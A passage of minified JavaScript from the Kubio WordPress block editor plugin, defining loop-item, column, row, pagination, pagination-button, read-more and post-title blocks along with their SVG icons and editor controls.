Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.ToolbarButton,{icon:OT.a,label:a,onClick:()=>{o(!t&&n)}})))},yT=e=>{let{isEditingTemplate:t,toggleIsEditingTemplate:o,slug:n}=e;return!t&&Object(xe.createElement)("div",{className:"kubio-loop-item-overlay-wrapper"},Object(xe.createElement)("div",{className:"kubio-loop-item-overlay"}),Object(xe.createElement)("div",{className:"kubio-loop-item-overlay-controls"},Object(xe.createElement)(Le.Button,{isPrimary:!0,onClick:e=>{e.preventDefault(),e.stopPropagation(),o(n)}},Object(We.__)("Edit item template","kubio"))))},jT=Object(Me.compose)(Object(He.withKubioDataAndStyle)())((e=>{const{attributes:t,isSelected:o}=e,{slug:n}=t,{entities:a,isEditingTemplate:l,toggleIsEditingTemplate:r,selectLoopBlock:i}=Object(xe.useContext)(nT),c=Object(Ve.useRegistry)().select("core/block-editor"),s=c.getBlockIndex(e.clientId,c.getBlockRootClientId(e.clientId)),u=Object(xe.useMemo)((()=>{const e=null==a?void 0:a[s];return e?{...e,postType:e.type,postId:e.id}:{}}),[a]),{clearSelectedBlock:p}=Object(Ve.useDispatch)("core/block-editor"),b=Object(xe.useMemo)((()=>l?l&&l!==n?"kubio-loop-item-hide":"kubio-loop-item-edit":"kubio-loop-item-editor-preview"),[l,n]);Object(xe.useEffect)((()=>{o&&!l&&i&&(p(),i())}),[o,l,i]);const m=Object(xe.useMemo)((()=>Object(xe.createElement)(yT,{isEditingTemplate:l,slug:n,toggleIsEditingTemplate:r})),[l,n]);return!!u&&Object(xe.createElement)(De.BlockContextProvider,{key:null==u?void 0:u.postId,value:u},l&&n===l&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(gT,{isEditingTemplate:l,slug:n,toggleIsEditingTemplate:r}),Object(xe.createElement)(Ar,null),Object(xe.createElement)(Pr,{onlyEqualWidth:!0,canOverlap:!1})),Object(xe.createElement)(fr,Object(ut.a)({},e,{containerClass:b,afterInnerBlocks:m})))})),kT=Object(nn.extendBlockMeta)({name:"kubio/column",title:"Column",category:"kubio-basic",usesContext:["kubio/parentKubio"],parent:["kubio/row"],attributes:{kubio:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{props:{internal:{type:"object",default:{heroSection:{type:"none"}}},overlapOptions:!1,layout:{horizontalGap:2,verticalGap:2,horizontalInnerGap:"inherit",verticalInnerGap:"inherit",verticalAlign:"start"}},style:{descendants:{container:{customHeight:{type:"fit-to-content","min-height":{value:"",unit:"px"}}},inner:{textAlign:"center"}}},_style:{descendants:{container:{columnWidth:{type:"custom"},media:{mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}}},elementsEnum:{INNER:"inner",CONTAINER:"container",VSPACE:"v-space",ALIGN:"align"},elementsByName:{inner:{default:!0,props:{className:["d-flex","h-flex-basis"]},supports:{background:!0,separator:!0}},container:{wrapper:!0,props:{className:["d-flex"]}},align:{props:{className:["h-y-container","h-column__content","h-column__v-align"]}},"v-space":{selector:"> * > .h-y-container > *:not(:last-child)"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},{name:"kubio/query-loop-item",attributes:{slug:{type:"string",default:"default"},label:{type:"string",default:"Default"}},parent:["kubio/query-loop"],category:"kubio-layout",usesContext:["queryId","query","queryContext","kubio/parentKubio"]},{attributes:{label:{default:Object(We.__)("Default","kubio")}}}),ET=Object(nn.extendBlockMeta)(kT,{title:Object(We.__)("Post item template","kubio"),__experimentalLabel:e=>e.slug===JI?Object(We.__)("Post item template","kubio"):Object(We.sprintf)(// translators: %s - is the template name e.g. Default item template , Odd item template
Object(We.__)("%s item template","kubio"),eT[e.slug]),icon:on.BlockIcons.PostItemTemplate,keywords:[],apiVersion:2,supports:{kubio:{elementsByName:Vl},reusable:!1,html:!1},edit:jT,save:()=>Object(xe.createElement)(De.InnerBlocks.Content,null)}),fT=[Yo.LOOP_ITEM];Object(Ae.addFilter)("kubio.should-allow-unlink","kubio.should-allow-unlink.loop-item-content",((e,t)=>{let{name:o}=t;return-1===fT.indexOf(o)&&e}));const vT={query:ne,loop:ae,loopItem:le},_T=Object(nn.extendBlockMeta)({name:"kubio/row",title:"Columns",category:"kubio-basic",attributes:{kubio:{type:"object"},templateLock:{type:"string"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,props:{fullBackground:{type:"boolean"},layout:{type:"object"}},elementsEnum:{CONTAINER:"container",INNER:"inner",CENTER:"center",OUTER_GAPS:"outerGaps",INNER_GAPS:"innerGaps",TYPOGRAPHY_HOLDERS:"typographyHolders"},elementsByName:{container:{wrapper:!0,default:!0,supports:{separator:!0,background:!0}},center:{},inner:{props:{className:["h-row"]}},outerGaps:{selector:"> * > .h-row > [class*='h-col-'] > [class*='h-px-']"},innerGaps:{selector:" > * > .h-row > [class*='h-col-']"}},template:{type:"element",props:{name:"container"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{props:{fullBackground:!1,layout:{equalWidth:!1,equalHeight:!0,itemsPerRow:2,verticalAlign:"center",horizontalAlign:"center",horizontalGap:2,verticalGap:2,horizontalInnerGap:2,verticalInnerGap:2},media:{mobile:{layout:{itemsPerRow:1,horizontalGap:0}}}}}}}},{apiVersion:2,name:"kubio/query-pagination",category:"kubio-blog-components",usesContext:["queryId","query","queryContext","useMainQuery"]}),CT=e=>{var t;let{clientId:o,name:n,setAttributes:a}=e;const{blockType:l,defaultVariation:r,variations:i}=Object(Ve.useSelect)((e=>{const{getBlockVariations:t,getBlockType:o,getDefaultBlockVariation:a}=e("core/blocks");return{blockType:o(n),defaultVariation:a(n,"block"),variations:t(n,"block")}}),[n]),{replaceInnerBlocks:c}=Object(Ve.useDispatch)("core/block-editor"),s=Object(De.useBlockProps)();return Object(xe.createElement)("div",s,Object(xe.createElement)(De.__experimentalBlockVariationPicker,{icon:null==l||null===(t=l.icon)||void 0===t?void 0:t.src,label:null==l?void 0:l.title,variations:i,onSelect:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:r;e.attributes&&a(e.attributes),e.innerBlocks&&c(o,Object(Ge.createBlocksFromInnerBlocksTemplate)(e.innerBlocks),!1)}}))};function IT(e){let{parentClientId:t}=e;const{selectBlock:o}=Object(Ve.useDispatch)("core/block-editor"),[,n]=Object(ze.useCurrentInspectorTab)(),{debouncedShowOverlay:a}=Ke(),l=Object(De.useBlockProps)(),r=Object(xe.createElement)("span",null,Object(We.__)("Pagination is not visible when post filtering is enabled. Click ","kubio"),Object(xe.createElement)("a",{onClick:async e=>{e.preventDefault(),e.stopPropagation(),await o(t),n("content"),a(".kubio-section-post-list-panel")}},Object(We.__)("here","kubio")),Object(We.__)(" to change the post filtering settings","kubio"));return Object(xe.createElement)("div",l,Object(xe.createElement)(Re.BlockPlaceholder,{title:r,isSmall:!0}))}const TT=Object(xe.createElement)(Le.SVG,{"data-name":"Layer 1",xmlns:"http://www.w3.org/2000/SVG",viewBox:"0 0 47 47"},Object(xe.createElement)(Le.Rect,{x:"19.74",y:"2.48",width:"24.38",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"2.48",width:"11.56",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"10.63",width:"41.25",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"6.56",width:"24.38",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"32.57",y:"6.56",width:"11.56",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"15.14",y:"14.71",width:"28.98",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"14.71",width:"6.96",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"19.74",y:"18.64",width:"24.38",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"18.64",width:"11.56",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"26.8",width:"41.25",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"22.72",width:"24.38",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"32.57",y:"22.72",width:"11.56",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"15.14",y:"30.87",width:"16.11",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"30.87",width:"6.96",height:"1.3"}),Object(xe.createElement)(Le.Path,{d:"M26.08,45.52H20.64a1,1,0,0,1-1-1V39.06a1,1,0,0,1,1-1h5.44a1,1,0,0,1,1,1V44.5A1,1,0,0,1,26.08,45.52Zm-5.44-6.58a.12.12,0,0,0-.12.12V44.5a.12.12,0,0,0,.12.12h5.44a.12.12,0,0,0,.12-.12V39.06a.12.12,0,0,0-.12-.12Z"}),Object(xe.createElement)(Le.Path,{d:"M24.41,43H22.83a1.82,1.82,0,0,1,.73-.7l.29-.18a1.32,1.32,0,0,0,.8-1.14c0-.63-.49-1-1.24-1a1.38,1.38,0,0,0-1,.36,1.3,1.3,0,0,0-.33.61s0,.06,0,.09a.33.33,0,0,0,.28.33h.1a.34.34,0,0,0,.34-.25.53.53,0,0,1,.6-.48c.13,0,.53,0,.53.37s-.11.37-.54.65l-.3.2a2.38,2.38,0,0,0-.88.88,1.46,1.46,0,0,0-.18.57.38.38,0,0,0,.41.41h2a.34.34,0,0,0,0-.68Z"}),Object(xe.createElement)(Le.Path,{d:"M30,41.7a.92.92,0,0,0,.37-.79c0-.61-.49-1-1.22-1a1.19,1.19,0,0,0-1.23.73.32.32,0,0,0,0,.14.33.33,0,0,0,.24.31l.14,0a.32.32,0,0,0,.31-.21.5.5,0,0,1,.55-.34c.2,0,.53.05.53.41s-.39.45-.59.45h-.24a.23.23,0,0,0-.22.08.36.36,0,0,0-.1.26.35.35,0,0,0,.11.26.28.28,0,0,0,.21.08H29q.66,0,.66.48c0,.37-.32.5-.63.5s-.57-.19-.64-.37A.36.36,0,0,0,28,42.5a.33.33,0,0,0-.26.31.29.29,0,0,0,0,.14,1.24,1.24,0,0,0,1.31.77c.83,0,1.36-.44,1.36-1.12A.94.94,0,0,0,30,41.7Z"}),Object(xe.createElement)(Le.Path,{d:"M17.85,40l-.6,0a.35.35,0,0,0-.34.36.34.34,0,0,0,.36.34h.38v2.68a.32.32,0,0,0,.36.33.33.33,0,0,0,.35-.34V40.52C18.36,40.23,18.3,40,17.85,40Z"}),Object(xe.createElement)(Le.Path,{d:"M6.34,43.36A.43.43,0,0,1,6,43.24l-1-1a.67.67,0,0,1,0-.95l1-1a.44.44,0,0,1,.63,0,.46.46,0,0,1,0,.64l-.85.8.85.8a.46.46,0,0,1,0,.64A.45.45,0,0,1,6.34,43.36Z"}),Object(xe.createElement)(Le.Path,{d:"M8.69,45.14H3a.6.6,0,0,1-.6-.59V39a.6.6,0,0,1,.6-.59H8.69a.45.45,0,0,1,.45.45v5.82A.45.45,0,0,1,8.69,45.14Zm-5.37-.9H8.24V39.32H3.32Z"}),Object(xe.createElement)(Le.Path,{d:"M40.67,43.36a.47.47,0,0,1-.33-.14.46.46,0,0,1,0-.64l.85-.8-.85-.8a.46.46,0,0,1,0-.64.44.44,0,0,1,.63,0l1,1a.67.67,0,0,1,0,1l-1.05,1A.42.42,0,0,1,40.67,43.36Zm.72-1.42h0Z"}),Object(xe.createElement)(Le.Path,{d:"M44,45.14H38.31a.45.45,0,0,1-.45-.45V38.87a.45.45,0,0,1,.45-.45H44a.6.6,0,0,1,.6.59v5.54A.6.6,0,0,1,44,45.14Zm-5.22-.9h4.92V39.32H38.76Z"})),ST=Object(xe.createElement)(Le.SVG,{id:"Layer_1","data-name":"Layer 1",xmlns:"http://www.w3.org/2000/SVG",viewBox:"0 0 47 47"},Object(xe.createElement)(Le.Rect,{x:"19.74",y:"2.48",width:"24.38",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"2.48",width:"11.56",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"10.63",width:"41.25",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"6.56",width:"24.38",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"32.57",y:"6.56",width:"11.56",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"15.14",y:"14.71",width:"28.98",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"14.71",width:"6.96",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"19.74",y:"18.64",width:"24.38",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"18.64",width:"11.56",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"26.8",width:"41.25",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"22.72",width:"24.38",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"32.57",y:"22.72",width:"11.56",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"15.14",y:"30.87",width:"16.11",height:"1.3"}),Object(xe.createElement)(Le.Rect,{x:"2.87",y:"30.87",width:"6.96",height:"1.3"}),Object(xe.createElement)(Le.Path,{d:"M6.34,43.36A.43.43,0,0,1,6,43.24l-1-1a.67.67,0,0,1,0-.95l1-1a.44.44,0,0,1,.63,0,.46.46,0,0,1,0,.64l-.85.8.85.8a.46.46,0,0,1,0,.64A.45.45,0,0,1,6.34,43.36Z"}),Object(xe.createElement)(Le.Path,{d:"M8.69,45.14H3a.6.6,0,0,1-.6-.59V39a.6.6,0,0,1,.6-.59H8.69a.45.45,0,0,1,.45.45v5.82A.45.45,0,0,1,8.69,45.14Zm-5.37-.9H8.24V39.32H3.32Z"}),Object(xe.createElement)(Le.Path,{d:"M40.67,43.36a.47.47,0,0,1-.33-.14.46.46,0,0,1,0-.64l.85-.8-.85-.8a.46.46,0,0,1,0-.64.44.44,0,0,1,.63,0l1,1a.67.67,0,0,1,0,1l-1.05,1A.42.42,0,0,1,40.67,43.36Zm.72-1.42h0Z"}),Object(xe.createElement)(Le.Path,{d:"M44,45.14H38.31a.45.45,0,0,1-.45-.45V38.87a.45.45,0,0,1,.45-.45H44a.6.6,0,0,1,.6.59v5.54A.6.6,0,0,1,44,45.14Zm-5.22-.9h4.92V39.32H38.76Z"})),wT={text:Object(We.__)("Previous","kubio"),icon:{name:"ionicons/ios-arrow-left"},action:"prev",kubio:{props:{showIcon:!0,iconPosition:"before"},style:{descendants:{icon:{margin:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}}}}}}},PT={text:Object(We.__)("Next","kubio"),icon:{name:"ionicons/ios-arrow-right"},action:"next",kubio:{props:{showIcon:!0,iconPosition:"after"},style:{descendants:{icon:{margin:{right:{value:0,unit:"px"}}}}}}};wT.kubio.props.showIcon=!1,PT.kubio.props.showIcon=!1;const AT=[{name:"buttons-and-numbers",title:Object(We.__)("Buttons & Numbers","kubio"),icon:TT,attributes:{kubio:{props:{layout:{equalWidth:!1,verticalAlign:"center",horizontalAlign:"center"}}}},innerBlocks:[["kubio/column",{heroType:"none",kubio:{_style:{descendants:{container:{columnWidth:{type:"fitToContent"}}}},style:{descendants:{container:{textAlign:"left"}}},props:{}}},[["kubio/pagination-nav-button",wT,[]]]],["kubio/column",{heroType:"none",kubio:{style:{descendants:{container:{textAlign:"center"}}},_style:{descendants:{container:{columnWidth:{type:"flexgrow"}}}},props:{}}},[["kubio/pagination-numbers",{action:"prev"},[]]]],["kubio/column",{heroType:"none",kubio:{_style:{descendants:{container:{columnWidth:{type:"fitToContent"}}}},style:{descendants:{container:{textAlign:"right"}}},props:{}}},[["kubio/pagination-nav-button",PT,[]]]]],scope:["block"]},{name:"buttons-only",title:Object(We.__)("Buttons","kubio"),icon:ST,attributes:{kubio:{props:{layout:{equalWidth:!1,verticalAlign:"center",horizontalAlign:"center"}}}},innerBlocks:[["kubio/column",{heroType:"none",kubio:{_style:{descendants:{container:{columnWidth:{type:"flexgrow"}}}},style:{descendants:{container:{textAlign:"left"}}},props:{}}},[["kubio/pagination-nav-button",wT,[]]]],["kubio/column",{heroType:"none",kubio:{_style:{descendants:{container:{columnWidth:{type:"flexgrow"}}}},style:{descendants:{container:{textAlign:"right"}}},props:{}}},[["kubio/pagination-nav-button",PT,[]]]]],scope:["block"]}],BT=Object(nn.extendBlockMeta)(_T,{title:Object(We.__)("Pagination","kubio"),description:Object(We.__)("Use buttons only or buttons with numbers pagination to help your website visitors navigate your blog.","kubio"),keywords:[Object(We.__)("page","kubio"),Object(We.__)("pagination","kubio")],icon:on.BlockIcons.PostNavigationBar,providesContext:{"kubio/parentKubio":"kubio"},apiVersion:2,supports:{kubio:{elementsByName:Wl},reusable:!1,html:!1},edit:e=>{const{clientId:t,context:o={}}=e,{useMainQuery:n}=o,{hasInnerBlocks:a,parentBlock:l}=Object(Ve.useSelect)((e=>{const{getBlocks:o,getBlockRootClientId:n,getBlock:a}=e("core/block-editor");return{parentBlock:a(n(t)),hasInnerBlocks:!!o(t).length}}),[t]);let r;return r=(null==l?void 0:l.name)!==Yo.QUERY||n?a?ar:CT:IT,Object(xe.createElement)(r,Object(ut.a)({},e,{parentClientId:null==l?void 0:l.clientId}))},save:lr,variations:AT}),NT=Object(nn.extendBlockMeta)({name:"kubio/button",category:"kubio-basic",attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"Button text"},link:{type:"object"},preserveSpace:{type:"object"},icon:{type:"object",default:{name:null}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{justifyContent:"center",typography:{decoration:"none"}},icon:{margin:{left:{value:10},right:{value:10}}}}},props:{buttonSize:"medium",buttonWidth:"fitToContent",showIcon:!1,iconPosition:"before"}},elementsEnum:{OUTER:"outer",LINK:"link",ICON:"icon",TEXT:"text"},elementsByName:{outer:{wrapper:!0,props:{tag:"span",className:["kubio-button-container"]}},link:{default:!0,prefixWithTag:!0,useWrapperPrefix:!0,props:{tag:"a",className:["h-w-100","h-global-transition"]}},text:{props:{tag:"span",className:["kubio-inherit-typography"]}},icon:{props:{tag:"icon"},statesConfig:{default:{stateRedirectElement:"link"}}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}}}},{name:"kubio/pagination-nav-button",category:"kubio-blog-components",usesContext:["queryId","query","queryContext","useMainQuery"],parent:null,attributes:{action:{type:"string",default:"prev"}},supports:{kubio:{elementsEnum:{SPACING:"spacing"},elementsByName:{spacing:{tag:"div",className:["h-w-100"],wrapper:!1,default:!1}},template:{type:"element",props:{name:"spacing"},children:[{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}]}}}});var xT=Object(He.composeWithKubioDataAndStyle)((e=>{const{attributes:t,setAttributes:o,getAttribute:n,StyledElements:a}=e,l=[{label:Object(We.__)("Previous","kubio"),value:"prev"},{label:Object(We.__)("Next","kubio"),value:"next"}];return Object(xe.createElement)(a.Spacing,null,Object(xe.createElement)(ng,Object(ut.a)({},e,{dynamicLink:!0,withToolbar:!1,buttonPropsBefore:Object(xe.createElement)(Re.GutentagSelectControl,{label:Object(We.__)("Button Action","kubio"),path:"iconPosition",options:l,value:null==t?void 0:t.action,onChange:e=>{var t;o({action:e});const a=null===(t=Ne.a.find(l,{value:e}))||void 0===t?void 0:t.label;o({text:a||n("text")})}})})))}));const RT=Object(nn.extendBlockMeta)(NT,{title:Object(We.__)("Pagination Nav Button","kubio"),description:Object(We.__)("Adjust your blog pagination with nice buttons. Choose your icons and stylize them the way you need.","kubio"),keywords:[Object(We.__)("pagination","kubio"),Object(We.__)("navigation","kubio")],icon:on.BlockIcons.PaginationNavButton,apiVersion:2,supports:{kubio:{elementsByName:Tc},reusable:!1,html:!1},edit:xT,save:e=>{let{attributes:t}=e;return Object(xe.createElement)(De.RichText.Content,{value:t.text})}}),DT="outer",LT="numbers",MT="current",WT="dots",HT="general",GT={[DT]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER],states:["normal","hover"]}},[LT]:{label:Object(We.__)("Page Number","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:["normal","hover"]}},[MT]:{label:Object(We.__)("Current Page Number","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:["normal","hover"]}},[WT]:{label:Object(We.__)("Dots","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:["normal","hover"]}},[HT]:{internal:!0}},UT=Object(Me.compose)(Object(He.withStyledElements)())((e=>{let{StyledElements:t}=e;const o=Object(xe.useRef)(),n=e=>{"a"===e.target.tagName.toLowerCase()&&(e.preventDefault(),e.stopPropagation())};return Object(xe.useEffect)((()=>{var e;return null===(e=o.current)||void 0===e||e.addEventListener("click",n),()=>{var e,t;return null===(e=o.current)||void 0===e||null===(t=e.removeEventListener)||void 0===t?void 0:t.call(e,"click",n)}}),[o.current]),Object(xe.createElement)(t.Outer,{ref:o},Object(xe.createElement)(He.ServerSideRender,{block:"kubio/pagination-numbers"}))})),FT=()=>{const e={type:He.WithDataPathTypes.STYLE,style:DT};return Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Properties","kubio")},Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,Object(ut.a)({label:Object(We.__)("Horizontal align","kubio"),path:"textAlign"},e))))},zT=[{label:Object(We.__)("Normal","kubio"),value:"normal"},{label:Object(We.__)("Hover","kubio"),value:"hover"},{label:Object(We.__)("Active","kubio"),value:"active"}],VT=Object(Me.compose)(Object(He.withColibriDataAutoSave)())((()=>{const e={type:He.WithDataPathTypes.STYLE,style:HT},[t,o]=Object(xe.useState)("normal"),n=Object(xe.useMemo)((()=>{const e="active"===t?MT:LT,o="active"===t?"normal":t;return{type:He.WithDataPathTypes.STYLE,style:e,state:o}}),[t]);return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Pagination","kubio")},Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},e)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.ToggleGroup,{options:zT,value:t,onChange:o}),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color"},n)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Background color","kubio"),path:"background.color"},n)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Space between items","kubio"),path:["padding.left","padding.right"],units:["px"]},e))))})),YT=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(VT,null)),$T={name:"kubio/pagination-numbers",category:"kubio-blog-components",attributes:{kubio:{type:"object"}},usesContext:["queryId","query","queryContext","useMainQuery"],supports:{kubio:{default:{style:{},props:{}},elementsEnum:{OUTER:"outer",PAGE_NUMBERS:"numbers",CURRENT_PAGE:"current",DOTS:"dots",GENERAL:"general"},elementsByName:{outer:{wrapper:!0,default:!0},general:{selector:"& .page-numbers"},numbers:{selector:"& .page-numbers:not(.current):not(.dots)"},current:{selector:"& .page-numbers.current"},dots:{selector:"& .page-numbers.dots"}},template:{type:"element",props:{name:"outer"}}}}},KT=Object(nn.extendBlockMeta)($T,{title:Object(We.__)("Pagination Numbers","kubio"),description:Object(We.__)("Use numbers for your blog pagination to help your website visitors discover the content they need easily.","kubio"),keywords:[Object(We.__)("pagination","kubio"),Object(We.__)("number","kubio")],icon:on.BlockIcons.BlogPagination,apiVersion:2,supports:{kubio:{elementsByName:GT},reusable:!1,html:!1},edit:e=>Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(YT,null),Object(xe.createElement)(FT,null),Object(xe.createElement)(UT,e))}),qT=Object(un.mergeNoArrays)({},Tc,{spacing:{internal:!0}});var XT=Object(He.composeWithKubioDataAndStyle)((e=>{const{StyledElements:t}=e;return Object(xe.createElement)(t.Spacing,null,Object(xe.createElement)(ng,Object(ut.a)({},e,{dynamicLink:!0,withAlign:!0,withToolbar:!1})))}));const QT=Object(nn.extendBlockMeta)({name:"kubio/button",category:"kubio-basic",attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"Button text"},link:{type:"object"},preserveSpace:{type:"object"},icon:{type:"object",default:{name:null}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{justifyContent:"center",typography:{decoration:"none"}},icon:{margin:{left:{value:10},right:{value:10}}}}},props:{buttonSize:"medium",buttonWidth:"fitToContent",showIcon:!1,iconPosition:"before"}},elementsEnum:{OUTER:"outer",LINK:"link",ICON:"icon",TEXT:"text"},elementsByName:{outer:{wrapper:!0,props:{tag:"span",className:["kubio-button-container"]}},link:{default:!0,prefixWithTag:!0,useWrapperPrefix:!0,props:{tag:"a",className:["h-w-100","h-global-transition"]}},text:{props:{tag:"span",className:["kubio-inherit-typography"]}},icon:{props:{tag:"icon"},statesConfig:{default:{stateRedirectElement:"link"}}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}}}},{name:"kubio/read-more-button",category:"kubio-blog-components",usesContext:["postId","postType"],parent:null,supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{icon:{size:{value:16},margin:{left:{value:10},right:{value:10}}}}}},elementsEnum:{SPACING:"spacing"},elementsByName:{spacing:{tag:"div",className:["h-w-100"],wrapper:!1,default:!1}},template:{type:"element",props:{name:"spacing"},children:[{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}]}}}}),ZT=Object(nn.extendBlockMeta)(QT,{title:Object(We.__)("Read More Button","kubio"),keywords:[Object(We.__)("read more","kubio")],icon:on.BlockIcons.ReadMore,apiVersion:2,supports:{kubio:{elementsByName:qT},reusable:!1,html:!1},edit:XT,save:e=>{let{attributes:t}=e;return Object(xe.createElement)(De.RichText.Content,{value:t.text})}});Object(He.onBlockVariationRegistered)(Yo.BUTTON,((e,t)=>{if(!e.isDefault)return!1;const{name:o,title:n}=ZT;return t(o,Object(Be.merge)(e,{name:o,title:n,description:Object(We.__)("Add a catchy “Read more” call to action to your blog articles on the blog listing page.","kubio"),attributes:{text:Object(We.__)("Read more","kubio"),icon:{name:"font-awesome/arrow-right"},kubio:{style:{descendants:{icon:{margin:{left:{value:10,unit:"px"},right:{value:0,unit:"px"}}}}},props:{buttonSize:"medium",showIcon:!1,iconPosition:"after"}}}})),!0}));const JT=[{value:"h1",label:Object(We.__)("H1","kubio")},{value:"h2",label:Object(We.__)("H2","kubio")},{value:"h3",label:Object(We.__)("H3","kubio")},{value:"h4",label:Object(We.__)("H4","kubio")},{value:"h5",label:Object(We.__)("H5","kubio")},{value:"h6",label:Object(We.__)("H6","kubio")}],eS="container",tS={[eS]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER,cn.StylesEnum.TYPOGRAPHY_FOR_HEADING,cn.StylesEnum.TEXT_SHADOW],states:cn.StatesPresetsEnum.BASIC}}};var oS=()=>{const e={type:He.WithDataPathTypes.STYLE,style:eS},t=Object(tl.useInheritedTextAlign)();return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Post Title Properties","kubio")},Object(xe.createElement)(Re.ToggleGroupWithPath,{label:Object(We.__)("Heading type","kubio"),path:"headingType",options:JT,type:He.WithDataPathTypes.ATTRIBUTE}),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,Object(ut.a)({label:Object(We.__)("Text align","kubio"),path:"textAlign",useContentAlignIcons:!1},e,{defaultValue:t}))))};const nS=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(oS,null)),aS=Object(He.withComputedData)((e=>({dataHelper:e})))((e=>{let{computed:t}=e;const{dataHelper:o}=t,n={type:He.WithDataPathTypes.STYLE,style:eS},a=o.getAttribute("headingType")?o.getAttribute("headingType"):"h2";return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Post title","kubio")},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color"},n,{defaultValue:Object(tl.useInheritedTypographyValue)(a,"color")})),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text hover 